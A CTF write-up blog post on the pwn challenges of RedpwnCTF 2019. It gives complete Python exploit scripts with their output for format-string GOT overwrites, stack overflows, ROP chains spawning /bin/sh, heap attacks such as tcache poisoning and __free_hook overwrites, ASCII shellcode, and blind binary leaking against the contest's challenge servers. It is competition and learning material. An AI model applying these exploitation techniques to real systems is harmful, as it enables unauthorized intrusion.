CTFするぞ

CTF以外のことも書くよ

RedpwnCTF 2019 Writeup

RedpwnCTF 2019 had been held from Aug 12th to 16th and I played this CTF in zer0pts. We got 4433pts and reached 29th place.

f:id:ptr-yudai:20190817061313p:plain

I gained 3605pts, solving mostly pwn and some forensics, misc, crypto, rev challs. In this post I'll write only about pwn challs as others are guessing / boring. Anyway thank you for hosting the CTF :)

The tasks and my solvers are available here.

[Pwn 50pts] BabbyPwn

Server: nc chall2.2019.redpwn.net 4001

Just nc to the server.

[Pwn 50pts] Rot26

Server: nc chall2.2019.redpwn.net 4003
Files: rot26.c rot26

It's a 32-bit ELF.

 checksec -f rot26
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   78 Symbols     No       0               4       rot26

The binary has a format string vulnerability. As it calls exit after printf and has winners_room function which executes shell, we can easily take the shell by overwriting the GOT entry.

from ptrlib import *

elf = ELF("./rot26")
sock = Socket("chall.2019.redpwn.net", 4003)

writes = {
    elf.got("exit"): elf.symbol("winners_room")
}
payload = fsb(
    writes = writes,
    pos = 7,
    bs = 1,
    bits = 32
)
print(payload)
sock.sendline(payload)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4003
b' \xa0\x04\x08!\xa0\x04\x08"\xa0\x04\x08#\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn'
[ptrlib]$  !"#                                                                                                                                                                                                                                                    
Please, take a shell!
cat flag.txt
[ptrlib]$ flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}

[Pwn 50pts] Zipline

Server: nc chall2.2019.redpwn.net 4005
File: zipline

It's a 32-bit ELF and has simple Stack Overflow vulnerability. There are 8 variables named a to h and if these are not zero, we can get the shell. I called gets@plt to overwrite those variables.

from ptrlib import *

#sock = Process("./zipline")
sock = Socket("chall2.2019.redpwn.net", 4005)
elf = ELF("./zipline")

rop_pop_ebx = 0x08049021
plt_gets = 0x08049060

payload = b'A' * 0x16
payload += p32(plt_gets)
payload += p32(0x8049569)
payload += p32(elf.symbol("a"))
sock.sendlineafter("hell?", payload)

sock.sendline("A" * 0x8)

sock.interactive()

OK.

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4005
[ptrlib]$ 
flag{h0w_l0w_c4n_u_g0_br0}

[Pwn 50pts] Bronze Ropchain

Description: I love meeting new people.
Server: nc chall2.2019.redpwn.net 4004
File: bronze_ropchain

It's a statically linked 32-bit binary and has a simple Stack Overflow vulnerability. I'm not familiar with 32-bit pwn, let alone statically linked ones :(

After several attemps, I finally made a crazy ROP chain to get the shell.

from ptrlib import *

sock = Socket("chall2.2019.redpwn.net", 4004)
#sock = Process("./bronze_ropchain")
elf = ELF("./bronze_ropchain")

elf_base = 0x8048000
#rop_pop_eax = 0x080a8e86
rop_xor_eax_81fffb22 = 0x08096547
rop_pop_ebx = 0x080481c9
rop_pop_edx = 0x0806ef2b
rop_xchg_eax_ebx = 0x0804a2eb
rop_xchg_eax_edx = 0x0808286a
rop_xchg_eax_edi = 0x08077541
rop_pop_ecx_ebx = 0x0806ef52
rop_int80 = 0x0806f860
rop_inc_ecx = 0x080c4b74
var = elf.section(".bss") + 0x100

payload = b"A" * 0x1c

## read(0, var, 8)
# ecx = var
payload += p32(rop_pop_ecx_ebx)
payload += p32(var)
payload += p32(0xdeadbeef)
# ebx = 0
payload += p32(rop_pop_edx)
payload += p32(0x81fffb22)
payload += p32(rop_xchg_eax_edx)
payload += p32(rop_xor_eax_81fffb22)
payload += p32(rop_xchg_eax_ebx)
# eax = 3
payload += p32(rop_pop_edx)
payload += p32(0x81fffb22 ^ 0x03)
payload += p32(rop_xchg_eax_edx)
payload += p32(rop_xor_eax_81fffb22)
payload += p32(rop_xchg_eax_edi)
# edx = 8
payload += p32(rop_pop_edx)
payload += p32(0x81fffb22 ^ 0x08)
payload += p32(rop_xchg_eax_edx)
payload += p32(rop_xor_eax_81fffb22)
payload += p32(rop_xchg_eax_edx)
# int 0x80
payload += p32(rop_xchg_eax_edi)
payload += p32(rop_int80)

## execve(var, 0, 0)
# ecx = 0
payload += p32(rop_pop_ecx_ebx)
payload += p32(0xffffffff)
payload += p32(0xdedabeef)
payload += p32(rop_inc_ecx)
# ebx = 'sh\x00'
payload += p32(rop_pop_ebx)
payload += p32(var)
# eax = 0x0b (execve)
payload += p32(rop_pop_edx)
payload += p32(0x81fffb22 ^ 0x0b)
payload += p32(rop_xchg_eax_edx)
payload += p32(rop_xor_eax_81fffb22)
payload += p32(rop_xchg_eax_edi)
# edx = 0
payload += p32(rop_pop_edx)
payload += p32(0x81fffb22)
payload += p32(rop_xchg_eax_edx)
payload += p32(rop_xor_eax_81fffb22)
payload += p32(rop_xchg_eax_edx)
# int 0x80
payload += p32(rop_xchg_eax_edi)
payload += p32(rop_int80)
payload += b"AAAA"
print(payload)
assert b'\n' not in payload
assert b'\0' not in payload

sock.sendlineafter("name?\n", payload)
sock.sendlineafter("day?\n", "")

sock.send("/bin/sh\x00")

sock.interactive()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4004
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAR\xef\x06\x08 \xb4\r\x08\xef\xbe\xad\xde+\xef\x06\x08"\xfb\xff\x81j(\x08\x08Ge\t\x08\xeb\xa2\x04\x08+\xef\x06\x08!\xfb\xff\x81j(\x08\x08Ge\t\x08Au\x07\x08+\xef\x06\x08*\xfb\xff\x81j(\x08\x08Ge\t\x08j(\x08\x08Au\x07\x08`\xf8\x06\x08R\xef\x06\x08\xff\xff\xff\xff\xef\xbe\xda\xdetK\x0c\x08\xc9\x81\x04\x08 \xb4\r\x08+\xef\x06\x08)\xfb\xff\x81j(\x08\x08Ge\t\x08Au\x07\x08+\xef\x06\x08"\xfb\xff\x81j(\x08\x08Ge\t\x08j(\x08\x08Au\x07\x08`\xf8\x06\x08AAAA'
[ptrlib]$ cat flag.txt
[ptrlib]$ flag{I've_n3v3r_he4rd_th4t_nam3_b3fore._Are_u_f0reign?}

[Pwn 280pts] Stop, ROP,n', Roll

Description: There's not really much I can say about this challenge... The bytes speak for themselves. Good luck!!!
Server: nc chall2.2019.redpwn.net 4008
File: srnr

The binary again has a Stack Overflow vulnerability but this time it's a 64-bit ELF. As we are not given a libc binary and the PIE is disabled, I tried ROP to get the shell. There are some unreferenced functions and one of them is sub_4006ff which just executes syscall. I used the following ROP gadgets to call read(0, bss+0x100, 0x????); in order to write "/bin/sh". (Fortunately rdx is set to a valid value.) However, we have to set rdx to 0 when calling execve("/bin/sh", NULL, NULL);. I used __libc_csu_init to set rdx and call sub_4006ff.

from ptrlib import *
import time

elf = ELF("./srnr")
#sock = Process("./srnr")
sock = Socket("chall2.2019.redpwn.net", 4008)

plt_read = 0x4005d0
addr_csu_pop  = 0x40081a
addr_csu_init = 0x400800
addr_syscall = 0x400703
rop_pop_rdi = 0x00400823
rop_pop_rsi_r15 = 0x00400821
var = elf.section(".bss") + 0x100

sock.sendlineafter("bytes: ", "0")

payload = b"A" * 17
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(rop_pop_rsi_r15)
payload += p64(var)
payload += p64(0xdeadbeef)
payload += p64(plt_read)

payload += p64(addr_csu_pop)
payload += p64(0)       # rbx: 0
payload += p64(1)       # rbp: 1
payload += p64(var)     # r12-->func
payload += p64(var + 8) # r13-->edi
payload += p64(0)       # r14-->rsi
payload += p64(0)       # r15-->rdx
payload += p64(addr_csu_init)
sock.send(payload)
time.sleep(1)
payload = p64(addr_syscall) + b"/bin/sh\x00"
payload += b"A" * (59 - len(payload)) # execve
sock.send(payload)

sock.interactive()

Great.

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4008
[ptrlib]$ cat flag.txt
[ptrlib]$ flag{sr0p_is_fir3.||-----------------------------();<>{}[]--0081734012870871238471632974132074}

[Pwn 344pts] Dennis Says

Description: It's like "Simon Says," but with less memory safety.
Server: nc chall2.2019.redpwn.net 4006
Files: dennis.c dennis libc-2.23.so

Seems it's a heap challenge. The binary has several functions and the significant vulnerability is heap overflow and use after free. I leaked the libc address by linking the freed chunk to main_arena. After that I was stuck, read the source code and found another vulnerability. We can write to arbitrary address in the yeet function.

So, it's much easier than I had expected :)

from ptrlib import *

def malloc(size):
    sock.sendlineafter("Command me: ", "1")
    sock.sendlineafter(" : ", str(size))
    return

def read(size):
    sock.sendlineafter("Command me: ", "2")
    sock.sendlineafter(": ", str(size))
    return sock.recv(size)

def write(data):
    sock.sendlineafter("Command me: ", "4")
    sock.sendlineafter(": ", data)
    return

def free():
    sock.sendlineafter("Command me: ", "5")
    return

def yeet():
    sock.sendlineafter("Command me: ", "3")
    return

def repeat(data):
    sock.sendlineafter("Command me: ", "6")
    sock.sendlineafter("Dennis repeat\n", data)
    return sock.recvline()

#sock = Process("./dennis")
#libc = ELF("/lib32/libc-2.27.so")
libc = ELF("./libc-2.23.so")
sock = Socket("chall2.2019.redpwn.net", 4006)
#sock = Socket("localhost", 9999)
libc_main_arena = 0x1b0780
delta = 0x30

# libc leak
malloc(0x20)
free()
malloc(0x30)
free()
malloc(0x40)
free()
malloc(0x20)
free()
libc_base = u32(read(8)[4:8]) - libc_main_arena - delta
logger.info("libc = " + hex(libc_base))

# overwrite __free_hook
malloc(0x10)
write(p32(libc_base + libc.symbol("system")) + p32(libc_base + libc.symbol("__free_hook")))
yeet()

# get the shell
malloc(0x10)
write("/bin/sh\x00")
free()

sock.interactive()

Since RELRO is disabled, it's easier to overwrite the GOT entries to leak the address and get the shell.

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4006
[+] <module>: libc = 0xf7dae000
[ptrlib]$ Dennis delet
cat flag.txt
[ptrlib]$ flag{1f_y0u'r3_r3ad1ng_th1s,_t3ll_0rg4niz3r_TPA_t0_d0_h1s_h0mew0rk}

[Pwn 413pts] Knuth

Server: nc chall2.2019.redpwn.net 4009
File: knuth

It's a x86 ascii shellcode challenge. However, some bytes in the shellcode turns into 0x00 somehow. (Actually I didn't analyse the binary.) The following is my final shellcode:

0:  21 54 24 71             and    DWORD PTR [esp+0x71],edx
4:  50                      push   eax
5:  59                      pop    ecx
6:  66 35 70 23             xor    ax,0x2370
a:  4a                      dec    edx
b:  21 54 24 71             and    DWORD PTR [esp+0x71],edx
f:  4a                      dec    edx
10: 4a                      dec    edx
11: 66 35 70 21             xor    ax,0x2170
15: 21 54 24 71             and    DWORD PTR [esp+0x71],edx
19: 50                      push   eax
1a: 5c                      pop    esp
1b: 21 54 24 71             and    DWORD PTR [esp+0x71],edx
1f: 6a 30                   push   0x30
21: 58                      pop    eax
22: 34 30                   xor    al,0x30
24: 50                      push   eax
25: 50                      push   eax
26: 50                      push   eax
27: 50                      push   eax
28: 51                      push   ecx
29: 50                      push   eax
2a: 61                      popa
2b: 4a                      dec    edx
2c: 52                      push   edx
2d: 58                      pop    eax
2e: 34 44                   xor    al,0x44
30: 6a 37                   push   0x37
32: 59                      pop    ecx
33: 30 44 4e 30             xor    BYTE PTR [esi+ecx*2+0x30],al
37: 52                      push   edx
38: 58                      pop    eax
39: 35 30 32 41 30          xor    eax,0x30413230
3e: 35 72 39 73 4f          xor    eax,0x4f733972
43: 50                      push   eax
44: 54                      push   esp
45: 59                      pop    ecx
46: 30 31                   xor    BYTE PTR [ecx],dh
48: 41                      inc    ecx
49: 30 31                   xor    BYTE PTR [ecx],dh
4b: 52                      push   edx
4c: 58                      pop    eax
4d: 35 30 30 44 30          xor    eax,0x30443030
52: 35 63 46 5a 42          xor    eax,0x425a4663
57: 50                      push   eax
58: 54                      push   esp
59: 59                      pop    ecx
5a: 30 31                   xor    BYTE PTR [ecx],dh
5c: 53                      push   ebx
5d: 58                      pop    eax
5e: 35 34 30 44 30          xor    eax,0x30443034
63: 35 5a 46 58 62          xor    eax,0x6258465a
68: 50                      push   eax
69: 54                      push   esp
6a: 59                      pop    ecx
6b: 41                      inc    ecx
6c: 30 31                   xor    BYTE PTR [ecx],dh
6e: 41                      inc    ecx
6f: 30 31                   xor    BYTE PTR [ecx],dh
71: 53                      push   ebx
72: 58                      pop    eax
73: 35 30 41 30 30          xor    eax,0x30304130
78: 35 58 6e 52 59          xor    eax,0x59526e58
7d: 50                      push   eax
7e: 53                      push   ebx
7f: 58                      pop    eax
80: 35 41 41 30 30          xor    eax,0x30304141
85: 35 6e 6e 43 58          xor    eax,0x58436e6e
8a: 50                      push   eax
8b: 53                      push   ebx
8c: 58                      pop    eax
8d: 35 41 41 30 30          xor    eax,0x30304141
92: 35 70 6c 62 58          xor    eax,0x58626c70
97: 50                      push   eax
98: 54                      push   esp
99: 59                      pop    ecx
9a: 41                      inc    ecx
9b: 30 31                   xor    BYTE PTR [ecx],dh
9d: 54                      push   esp
9e: 78                      .byte 0x78

The basic idea is same as this.

$ nc chall2.2019.redpwn.net 4009
[🔒] He protec
[Ω ] He TeX
!T$qPYf5p#J!T$qJJf5p!!T$qP\!T$qj0X40PPPPQPaJRX4Dj7Y0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
But most importantly
[💸] He chec
cat flag.txt
flag{ok so basically, this is a flag-~-urfnatoufnruiantoeakolfhepicqniuwnfkteoikcoyuqnouqnwfounoakfentou}

[Pwn 413pts] Black Echo

Description: You are trapped in a pitch-black cave with no food, water, flashlight, or self-esteem. A faint echo can be heard in the distance.
Server: nc chall2.2019.redpwn.net 4007

OK, it's a blind pwn challenge. The server seems to have a format string vulnerability.

$ nc chall2.2019.redpwn.net 4007
test
test
%p.%p.%p.%p.%p.%p.%p.%p.%p
0x1000.0xf7fb15a0.0x8048510.(nil).(nil).(nil).0x252e7025.0x70252e70.0x2e70252e

I leaked the running binary using this script:

from ptrlib import *

sock = Socket("chall2.2019.redpwn.net", 4007)

f = open("binary", "wb")

elf = b''
addr = 0x08048000
pos = 11
for i in range(8000):
    payload = str2bytes("%{:08d}$sX".format(pos) + "X" * 4) + p32(addr)
    if b'\n' in payload:
        elf += b'\x00'
        addr += 1
        continue
    sock.sendline(payload)
    data = sock.recv(timeout=10)
    if data is not None:
        data = data[:data.index(b"XXXXX")]
        if data == b'': data = b'\x00'
        print(hex(addr), data)
        elf += data
        addr += len(data)
    f.seek(0)
    f.write(elf)
        
sock.interactive()

After successfully leaked the whole binary, I analysed it with IDA and specified the GOT addresses of each functions like this:

f:id:ptr-yudai:20190816233315p:plain

The next thing to do is to find the libc version. Fortunately the libc was same as that of Dennis Says challenge. So, I could easily get the shell by overwriting printf to system.

from ptrlib import *

libc = ELF("./libc-2.23.so")
sock = Socket("chall2.2019.redpwn.net", 4007)

got_printf = 0x804a010
got_fgets  = 0x804a014
got_setbuf = 0x804a00c

# leak libc
payload = p32(got_printf) + b"%7$s"
sock.sendline(payload)
libc_base = u32(sock.recv()[4:8]) - libc.symbol("printf")
logger.info("libc = " + hex(libc_base))

# get shell
writes = {
    got_printf: libc_base + libc.symbol("system")
}
payload = fsb(
    writes = writes,
    bs = 1,
    pos = 7,
    bits = 32
)
sock.sendline(payload)
print(sock.recv())
sock.sendline("/bin/sh")

sock.interactive()

Great.

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4007
[+] <module>: libc = 0xf7dc9000
b'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08                                               \x00                                                                                                                                                                                                                                                        \xa0                                                                                                                                                                      \x10                      \x00\n'
[ptrlib]$ cat flag.txt
[ptrlib]$ flag{__xXxxXx__w3lc0me_t0_th3_surf4c3__xXxxXx__}

[Pwn 436pts] penpal world

Description: Please don't decimate this cute lil ish; write your grandmother a smol parcel of love instead~
Server: nc chall2.2019.redpwn.net 4010
Files: libc-2.27.so penpal_world

It's a heap challenge and this time it's libc-2.27 :)

We can create 2 letters and the allocated size is fixed to 0x48. Also, we can choose options only 0x21 times. As there is a simple double free vulnerability, we can easily get the shell if we have the libc address. So, what we need to do is overlap a chunk to modify the size header. I created some fake chunks since unsorted bin has strict security checks.

from ptrlib import *

cnt = 0

def create(index):
    global cnt
    cnt += 1
    sock.sendlineafter("Read a postcard\n", "1")
    sock.sendlineafter("#?\n", str(index))
    return

def edit(index, data):
    global cnt
    cnt += 1
    sock.sendlineafter("Read a postcard\n", "2")
    sock.sendlineafter("#?\n", str(index))
    sock.sendafter("Write.\n", data)
    return

def read(index):
    global cnt
    cnt += 1
    sock.sendlineafter("Read a postcard\n", "4")
    sock.sendlineafter("#?\n", str(index))
    return sock.recvline()

def discard(index):
    global cnt
    cnt += 1
    sock.sendlineafter("Read a postcard\n", "3")
    sock.sendlineafter("#?\n", str(index))
    return

#sock = Process("./penpal_world")
sock = Socket("chall2.2019.redpwn.net", 4010)
libc = ELF("./libc-2.27.so")
libc_main_arena = 0x3ebc40
delta = 0x60

# leak heap address
create(0)
create(1)
payload = b"A" * 0x38
payload += p64(0x50)
edit(0, payload)
edit(1, payload)
discard(0)
discard(0)
addr_heap = u64(read(0))
logger.info("heap = " + hex(addr_heap))

# fake chunk
edit(0, p64(addr_heap + 0x40 + 0x500))
create(0)
create(0)
edit(0, p64(0) + p64(0x51))
create(0)
discard(0)
discard(0)

# fake chunk 2
edit(0, p64(addr_heap + 0x40 + 0x500 + 0x50))
create(0)
create(0)
edit(0, p64(0) + p64(0x51))
create(0)
discard(0)
discard(0)

# chunk overlap
edit(0, p64(addr_heap + 0x40))
create(0)
create(0)
edit(0, p64(0) + p64(0x501))
discard(1)
libc_base = u64(read(1)) - libc_main_arena - delta
logger.info("libc = " + hex(libc_base))

#create(0) # mottainai
discard(0)
discard(0)

# tcache poisoning
edit(0, p64(libc_base + libc.symbol("__free_hook") - 8))
create(0)
create(0)
edit(0, b"/bin/sh\x00" + p64(libc_base + libc.symbol("system")))
discard(0)

sock.interactive()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to chall2.2019.redpwn.net:4010
[+] <module>: heap = 0x55638086d260
[+] <module>: libc = 0x7efc534bb000
[ptrlib]$ cat flag.txt
[ptrlib]$ flag{0h_n0e5_sW1p3r_d1D_5w!peEEeE}